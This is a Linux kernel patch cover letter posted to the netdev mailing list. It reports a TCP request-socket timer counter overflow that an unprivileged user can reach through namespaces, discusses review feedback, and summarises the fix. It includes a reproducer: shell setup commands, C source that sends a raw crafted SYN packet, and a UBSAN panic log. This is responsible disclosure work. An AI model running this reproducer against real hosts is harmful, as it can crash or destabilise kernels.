From mboxrd@z Thu Jan 1 00:00:00 1970 Received: from mail-pl1-f175.google.com (mail-pl1-f175.google.com [209.85.214.175]) (using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits)) (No client certificate requested) by smtp.subspace.kernel.org (Postfix) with ESMTPS id 28E383DD533 for ; Thu, 3 Sep 2026 06:18:36 +0000 (UTC) Authentication-Results: smtp.subspace.kernel.org; arc=none smtp.client-ip=209.85.214.175 ARC-Seal:i=1; a=rsa-sha256; d=subspace.kernel.org; s=arc-20240116; t=1788416317; cv=none; b=fODD7xiVmdgIGfHknxLhR8ZXZUB4jpR89RVzoEKycBiKzVQhCmWy3dqUQrK5yU62wpUX+Y/sJVzLC8PyqdtsOPt4f8C/akeanbNWg1WdBrMi6Lu/yTZY0i8+y/NzWsL/tL39cJ8DqDtDzKuzOXKN3VirGarU1q/Xl2ByrC5o9NY= ARC-Message-Signature:i=1; a=rsa-sha256; d=subspace.kernel.org; s=arc-20240116; t=1788416317; c=relaxed/simple; bh=DawtvLYnO0bhe9YfqG2nw/x/jGj0XFPyBVopE4BrS8Y=; h=From:To:Cc:Subject:Date:Message-ID:MIME-Version; b=TzMFA4NqCZYQ0YGOjgUVbr79XumkVwUgxhxvD2Zps3Nh3Og3Wr4liFc/uPapE2t2QAlspagPuiRKopP7HqesMpFtPnRy10e8Ta845ygX+rmkF32LjBCqTSKOYVkizqzzy/LxxDoE/PnP9Bb3pdH8DUhLrmBdWyuPTfgtz56k/WE= ARC-Authentication-Results:i=1; smtp.subspace.kernel.org; dmarc=pass (p=quarantine dis=none) header.from=nebusec.ai; spf=pass smtp.mailfrom=nebusec.ai; dkim=pass (2048-bit key) header.d=nebusec.ai header.i=@nebusec.ai header.b=nJCrABGR; arc=none smtp.client-ip=209.85.214.175 Authentication-Results: smtp.subspace.kernel.org; dmarc=pass (p=quarantine dis=none) header.from=nebusec.ai Authentication-Results: smtp.subspace.kernel.org; spf=pass smtp.mailfrom=nebusec.ai Authentication-Results: smtp.subspace.kernel.org; dkim=pass (2048-bit key) header.d=nebusec.ai header.i=@nebusec.ai header.b="nJCrABGR" Received: by mail-pl1-f175.google.com with SMTP id d9443c01a7336-2d71a50caa9so27092215ad.0 for ; Wed, 02 Sep 2026 23:18:36 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=nebusec.ai; s=google; t=1788416315; x=1789021115; darn=vger.kernel.org; h=content-transfer-encoding:mime-version:message-id:date:subject:cc :to:from:from:to:cc:subject:date:message-id:reply-to:content-type; bh=pWS1QeM3DPRFEzXXz9FFvi3K0h4e8zrv/iFHCCPucT8=; b=nJCrABGRXT9pT2an8AUyPfos/tHRkDaKPIdHUXzhXh6HgeYN4zLQ1h+oz6z472159T mRhcQXPKQQaSbZUREhXpKQPmrsnVFYcD9FM+C5e/xnFboyh4t1gVYOW7wOc1nX7ilIx+ 6Xo3igVTXSEnoFQKUa9DBPo6/jzynRRxOXCKgY/Ee+PDP2Gibf8ZNjuhqliQ+ucUlJIP 9gzUhyrjfsa2momt3pKqMvDLrZ9jMr/DHKpAmeDV92vHzgK/UTdQ6Bed0DzfoWqABtt0 Wi8uvLiXTu8CMae8azsH/HlEiuEjLhk3LDaja8QplRyKOd7RiiUNTwayA/inXN3lG+Cv Ix+w== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20251104; t=1788416315; x=1789021115; h=content-transfer-encoding:mime-version:message-id:date:subject:cc :to:from:x-gm-gg:x-gm-message-state:from:to:cc:subject:date :message-id:reply-to:content-type; bh=pWS1QeM3DPRFEzXXz9FFvi3K0h4e8zrv/iFHCCPucT8=; b=DLlLvXWf/6fcwJeiOLBTYvUuD1h8rJwcISQW7yAATnI36gj/zhBEXV+OZd7Tf1Tx6V UXK7tbBOj7K7qBfVjqvD0oZq5Yc6f+XhMljZTtikyGNqwPRyAqm9mVWJPplitpuQgweu SNhBXBqJVK7T9UnGW9mnxFUg6s5RrHT9qKedh1/wGA0yM50xcAHXQM3Wd9ytwMeNK/TM FPaGwFRjXxqP6IRX3OzzXL348MtHGOCR5U4cyF4BX77f/YSYQVQ08kaCzLHwXMidEUtr wht2py8RoRPuHjcL691xvvAZUkdID+7DSLXllXNTYNE5rXbQOJa4ujhfpwrjTtncihnD V9uw== X-Forwarded-Encrypted: i=1; AKwUvBxtpp5Pyw0/wuO4gJQuzInwlmGJStxzyfUEFQ4oScFsPrhYB8x9rApCuuU7hT7wijobaYZcrq4WkJQ=@vger.kernel.org X-Gm-Message-State: AFuF++mPBpfBzoLMoY0wWhnUHlDK1E6jWx6+oCN01vxs+2aBgANbg6KQ e/aszpKF/KHyQwHd3ejoACK5/5X0qxEDQGH7jgwUNr2Xlhq5NPZHcvrMQZvCWBrru+yz X-Gm-Gg: AYBFou1pA8iTYjF+hFklJIeQIR2rgiHpP+jtPByONgePWQzZKIxFU21jn7dRfhMdMQk vQRdqSXFbpvwy7ffA6154colz9ht5zXgC+zkvPvW9CeLIj/8WL8xIQOUaPJdKLbLY6GJYOPCVwW S1zW/doEpRHNbZg/uEOtlr5jUPvJ6ejmCUuZuehf0tirpy5naecnf1ZjADubALK6cPcS7ZbFQuJ egmRhD5/nNDyQ/jS7HAVxJ8VAAzDkykYHdN9twl6iUtyRTjmRUPVKyfhcM++CdLvbwoc26M41pp tGoI04BYyos1MCqPSSctqiLknI6PE3pYKrwAOV8uwgWJa5NBtsWxTebk09ZkjDVcF1Kzup38Nki YyfPuJVTLcGdwhrvem3Tkk5DnozaD6lIkCSwHXUYBJD84ZsDByMZCse7rSAopG6lD/YLWrQ4YbV B1XFcBVyibRW7aFovARpS2V4ozjtwhaRwDf/VxuTaOJLjCI7MsQW5BvO4f9E/e/SpRlCMURyyUp wFZ X-Received: by 2002:a17:902:cf41:b0:2d8:d4d2:dc9a with SMTP id d9443c01a7336-2daec78a390mr152794195ad.22.1788416315342; Wed, 02 Sep 2026 23:18:35 -0700 (PDT) Received: from Roxy.localdomain ([203.175.14.32]) by smtp.gmail.com with ESMTPSA id d9443c01a7336-2db090c391csm391775ad.9.2026.09.02.23.18.31 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256); Wed, 02 Sep 2026 23:18:34 -0700 (PDT) From: Zhiling Zou To: pabeni@redhat.com, netdev@vger.kernel.org, linux-doc@vger.kernel.org Cc: davem@davemloft.net, edumazet@google.com, horms@kernel.org, corbet@lwn.net, skhan@linuxfoundation.org, ncardwell@google.com, kuniyu@google.com, vega@nebusec.ai, zhilinz@nebusec.ai Subject: [PATCH net v7 0/1] tcp: bound SYN-ACK timers to reqsk timeout range Date: Thu, 3 Sep 2026 14:18:13 +0800 Message-ID: X-Mailer: git-send-email 2.43.0 Precedence: bulk X-Mailing-List: linux-doc@vger.kernel.org List-Id: List-Subscribe: List-Unsubscribe: MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Hi Linux kernel maintainers, We found and validated an issue in net/ipv4/inet_connection_sock.c. The bug is reachable by a non-root user via user and net namespace. We've tested it, and it should not affect normal TCP request socket timeout handling. The issue is caused by allowing SYN-ACK timer limits above the range that request socket timeout backoff can safely consume. ---- details below ---- Bug details: request_sock::num_timeout is a 7-bit counter. tcp_synack_retries accepts an 8-bit value, while TCP_DEFER_ACCEPT converts seconds to a retry count that can also reach 255. When either value exceeds 127, the request socket timer can never reach its expiration threshold. num_timeout then wraps from 127 to zero, which also repeats the young-queue accounting transition. Before the wrap, the regular and Fast Open SYN-ACK timer paths can shift req->timeout by 64 or more when calculating the next RTO. The fix keeps the tcp_synack_retries sysctl range unchanged, but caps its effective value in the regular and Fast Open SYN-ACK timer paths before the young-queue pruning loop. It caps the TCP_DEFER_ACCEPT conversion at the same limit, keeping its timer and bare-ACK consumers consistent. The common timeout calculation snapshots both values once before checking and shifting, then saturates before the shift. The Fast Open extra retry is capped to the representable range. Sashiko review of v6 reported two issues: 1. Clamp placement vs the young-queue loop. This is valid. v6 clamped after the loop, so a configured value above 127 made the pruning heuristic a no-op. v7 clamps when the retry count is read, before the loop, so queue pressure still shortens old request lifetimes. 2. Document 127 and add a sysctl .extra2. Adding .extra2 is a false positive: v4 and v6 kept the stored range at 0-255 to preserve userspace. The real mismatch was that v6 documented a 127 maximum while still accepting 255. v7 keeps the sysctl writable to 255 and documents that the timers silently cap the effective count at 127. Reproducer: gcc -O2 -Wall -o poc poc.c unshare -Urn sh -c '\'' ip link set lo up echo 1 > /proc/sys/kernel/panic_on_warn echo 0 > /proc/sys/net/ipv4/tcp_syncookies echo 128 > /proc/sys/net/ipv4/tcp_synack_retries echo 1000 > /proc/sys/net/ipv4/tcp_rto_max_ms ./poc 127.0.0.2 40000 127.0.0.1 12345 '\'' We ran the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment. ------BEGIN poc.c------ #include #include #include #include #include #include #include #include #include #include #include struct pseudo_header { uint32_t src_addr; uint32_t dst_addr; uint8_t zero; uint8_t protocol; uint16_t tcp_len; }; static uint16_t checksum(const void *data, size_t len) { const uint16_t *words = data; uint32_t sum = 0; while (len > 1) { sum += *words++; len -= 2; } if (len) sum += *(const uint8_t *)words; while (sum >> 16) sum = (sum & 0xffff) + (sum >> 16); return (uint16_t)~sum; } int main(int argc, char **argv) { struct sockaddr_in dst = { 0 }; struct pseudo_header psh = { 0 }; struct { struct iphdr ip; struct tcphdr tcp; } packet = { 0 }; unsigned char pseudo_buf[sizeof(psh) + sizeof(packet.tcp)]; const char *src_ip; const char *dst_ip; int sock; int one = 1; long src_port; long dst_port; ssize_t sent; if (argc != 5) { fprintf(stderr, "usage: %s \n", argv[0]); return 2; } src_ip = argv[1]; src_port = strtol(argv[2], NULL, 10); dst_ip = argv[3]; dst_port = strtol(argv[4], NULL, 10); if (src_port <= 0 || src_port > 65535 || dst_port <= 0 || dst_port > 65535) { fprintf(stderr, "invalid port\n"); return 2; } sock = socket(AF_INET, SOCK_RAW, IPPROTO_TCP); if (sock < 0) { perror("socket"); return 1; } if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)) < 0) { perror("setsockopt(IP_HDRINCL)"); close(sock); return 1; } dst.sin_family = AF_INET; dst.sin_port = htons((uint16_t)dst_port); if (inet_pton(AF_INET, dst_ip, &dst.sin_addr) != 1) { fprintf(stderr, "invalid dst_ip: %s\n", dst_ip); close(sock); return 2; } packet.ip.version = 4; packet.ip.ihl = sizeof(packet.ip) / 4; packet.ip.tos = 0; packet.ip.tot_len = htons(sizeof(packet)); packet.ip.id = htons((uint16_t)getpid()); packet.ip.frag_off = 0; packet.ip.ttl = 64; packet.ip.protocol = IPPROTO_TCP; if (inet_pton(AF_INET, src_ip, &packet.ip.saddr) != 1) { fprintf(stderr, "invalid src_ip: %s\n", src_ip); close(sock); return 2; } packet.ip.daddr = dst.sin_addr.s_addr; packet.ip.check = checksum(&packet.ip, sizeof(packet.ip)); packet.tcp.source = htons((uint16_t)src_port); packet.tcp.dest = htons((uint16_t)dst_port); packet.tcp.seq = htonl(0x12345678); packet.tcp.doff = sizeof(packet.tcp) / 4; packet.tcp.syn = 1; packet.tcp.window = htons(65535); psh.src_addr = packet.ip.saddr; psh.dst_addr = packet.ip.daddr; psh.zero = 0; psh.protocol = IPPROTO_TCP; psh.tcp_len = htons(sizeof(packet.tcp)); memcpy(pseudo_buf, &psh, sizeof(psh)); memcpy(pseudo_buf + sizeof(psh), &packet.tcp, sizeof(packet.tcp)); packet.tcp.check = checksum(pseudo_buf, sizeof(pseudo_buf)); sent = sendto(sock, &packet, sizeof(packet), 0, (struct sockaddr *)&dst, sizeof(dst)); if (sent != (ssize_t)sizeof(packet)) { if (sent < 0) perror("sendto"); else fprintf(stderr, "short send: %zd\n", sent); close(sock); return 1; } close(sock); return 0; } ------END poc.c-------- ----BEGIN crash log---- [ 463.180218][ C3] Kernel panic - not syncing: UBSAN: panic_on_warn set ... [ 463.181502][ C3] CPU: 3 UID: 0 PID: 0 Comm: swapper/3 Not tainted 7.1.0-rc1 #2 PREEMPT(full) [ 463.182748][ C3] Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014 [ 463.184251][ C3] Call Trace: [ 463.184723][ C3] [ 463.185125][ C3] vpanic+0x6c3/0x790 [ 463.185795][ C3] ? __pfx_vpanic+0x10/0x10 [ 463.186461][ C3] ? srso_alias_return_thunk+0x5/0xfbef5 [ 463.187264][ C3] ? __show_trace_log_lvl+0x2f1/0x420 [ 463.188052][ C3] panic+0xca/0xd0 [ 463.188605][ C3] ? __pfx_panic+0x10/0x10 [ 463.189281][ C3] ? srso_alias_return_thunk+0x5/0xfbef5 [ 463.190089][ C3] check_panic_on_warn+0x61/0x80 [ 463.190816][ C3] __ubsan_handle_shift_out_of_bounds+0x1dd/0x2d0 [ 463.191774][ C3] reqsk_timer_handler.cold+0x18/0x26 [ 463.192570][ C3] ? __pfx_reqsk_timer_handler+0x10/0x10 [ 463.193389][ C3] ? srso_alias_return_thunk+0x5/0xfbef5 [ 463.194218][ C3] ? __pfx_reqsk_timer_handler+0x10/0x10 [ 463.195181][ C3] call_timer_fn+0x16b/0x500 [ 463.196028][ C3] ? debug_object_deactivate+0x2e4/0x3b0 [ 463.197045][ C3] ? trace_softirq_raise+0x11a/0x160 [ 463.197852][ C3] ? __pfx_call_timer_fn+0x10/0x10 [ 463.198593][ C3] ? srso_alias_return_thunk+0x5/0xfbef5 [ 463.199411][ C3] ? srso_alias_return_thunk+0x5/0xfbef5 [ 463.200213][ C3] ? rcu_is_watching+0x12/0xc0 [ 463.200904][ C3] ? srso_alias_return_thunk+0x5/0xfbef5 [ 463.201763][ C3] __run_timers+0x5d9/0x9c0 [ 463.202468][ C3] ? __pfx_reqsk_timer_handler+0x10/0x10 [ 463.203308][ C3] ? __pfx___run_timers+0x10/0x10 [ 463.204049][ C3] ? srso_alias_return_thunk+0x5/0xfbef5 [ 463.204871][ C3] ? srso_alias_return_thunk+0x5/0xfbef5 [ 463.205704][ C3] run_timer_base+0xfe/0x170 [ 463.206370][ C3] ? __pfx_run_timer_base+0x10/0x10 [ 463.207115][ C3] ? rcu_is_watching+0x12/0xc0 [ 463.207809][ C3] ? srso_alias_return_thunk+0x5/0xfbef5 [ 463.208619][ C3] run_timer_softirq+0x10/0x30 [ 463.209311][ C3] handle_softirqs+0x1ef/0xa00 [ 463.210022][ C3] ? __pfx_handle_softirqs+0x10/0x10 [ 463.210788][ C3] ? srso_alias_return_thunk+0x5/0xfbef5 [ 463.211590][ C3] __irq_exit_rcu+0x169/0x210 [ 463.212281][ C3] irq_exit_rcu+0xe/0x30 [ 463.212885][ C3] sysvec_apic_timer_interrupt+0xa3/0xc0 [ 463.213688][ C3] [ 463.214105][ C3] [ 463.214538][ C3] asm_sysvec_apic_timer_interrupt+0x1a/0x20 [ 463.215398][ C3] RIP: pv_native_safe_halt+0xf/0x20 [ 463.216189][ C3] Code: 77 5b 02 e9 de d9 80 f6 0f 1f 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 f3 0f 1e fa eb 07 0f 00 2d d3 32 1a 00 fb f4 b7 d9 80 f6 66 2e 0f 1f 84 00 00 00 00 00 66 90 90 90 90 90 90 All code ======== 0: 77 5b ja 0x5d 2: 02 e9 add %cl,%ch 4: de d9 fcompp 6: 80 f6 0f xor $0xf,%dh 9: 1f (bad) a: 00 90 90 90 90 90 add %dl,-0x6f6f6f70(%rax) 10: 90 nop 11: 90 nop 12: 90 nop 13: 90 nop 14: 90 nop 15: 90 nop 16: 90 nop 17: 90 nop 18: 90 nop 19: 90 nop 1a: 90 nop 1b: f3 0f 1e fa endbr64 1f: eb 07 jmp 0x28 21: 0f 00 2d d3 32 1a 00 verw 0x1a32d3(%rip) # 0x1a32fb 28: fb sti 29: f4 hlt 2a:* e9 b7 d9 80 f6 jmp 0xfffffffff680d9e6 <-- trapping instruction 2f: 66 2e 0f 1f 84 00 00 cs nopw 0x0(%rax,%rax,1) 36: 00 00 00 39: 66 90 xchg %ax,%ax 3b: 90 nop 3c: 90 nop 3d: 90 nop 3e: 90 nop 3f: 90 nop Code starting with the faulting instruction =========================================== 0: e9 b7 d9 80 f6 jmp 0xfffffffff680d9bc 5: 66 2e 0f 1f 84 00 00 cs nopw 0x0(%rax,%rax,1) c: 00 00 00 f: 66 90 xchg %ax,%ax 11: 90 nop 12: 90 nop 13: 90 nop 14: 90 nop 15: 90 nop [ 463.218880][ C3] RSP: 0018:ffa000000017fdf0 EFLAGS: 00000202 [ 463.219748][ C3] RAX: 00000000001a917f RBX: ff110001036c25c0 RCX: ffffffff8a8f7fa5 [ 463.220859][ C3] RDX: 0000000000000000 RSI: ffffffff8cc14de4 RDI: ffffffff8b0f3640 [ 463.221969][ C3] RBP: 0000000000000000 R08: 0000000000000001 R09: ffe21c0022fb67ed [ 463.223076][ C3] R10: ff11000117db3f6b R11: 0000000000000072 R12: 0000000000000003 [ 463.224187][ C3] R13: ffe21c00206d84b8 R14: 0000000000000003 R15: ffffffff90914550 [ 463.225338][ C3] ? ct_kernel_exit+0x125/0x180 [ 463.226067][ C3] default_idle+0x9/0x10 [ 463.226686][ C3] default_idle_call+0x6c/0xb0 [ 463.227379][ C3] do_idle+0x469/0x590 [ 463.227983][ C3] ? __pfx_do_idle+0x10/0x10 [ 463.228645][ C3] ? finish_task_switch.isra.0+0x151/0x1050 [ 463.229524][ C3] cpu_startup_entry+0x54/0x60 [ 463.230222][ C3] start_secondary+0x213/0x2b0 [ 463.230905][ C3] ? __pfx_start_secondary+0x10/0x10 [ 463.231687][ C3] common_startup_64+0x13e/0x148 [ 463.232457][ C3] [ 463.233555][ C3] Kernel Offset: disabled [ 463.234244][ C3] Rebooting in 86400 seconds.. -----END crash log----- Best regards, Zhiling Zou Zhiling Zou (1): tcp: bound SYN-ACK timers to reqsk timeout range Documentation/networking/ip-sysctl.rst | 4 +++- include/net/request_sock.h | 20 ++++++++++++++++++-- include/net/tcp.h | 21 +++++++++++++++++---- net/ipv4/inet_connection_sock.c | 2 ++ net/ipv4/tcp.c | 2 +- net/ipv4/tcp_timer.c | 6 ++++-- 6 files changed, 45 insertions(+), 10 deletions(-) -- 2.43.0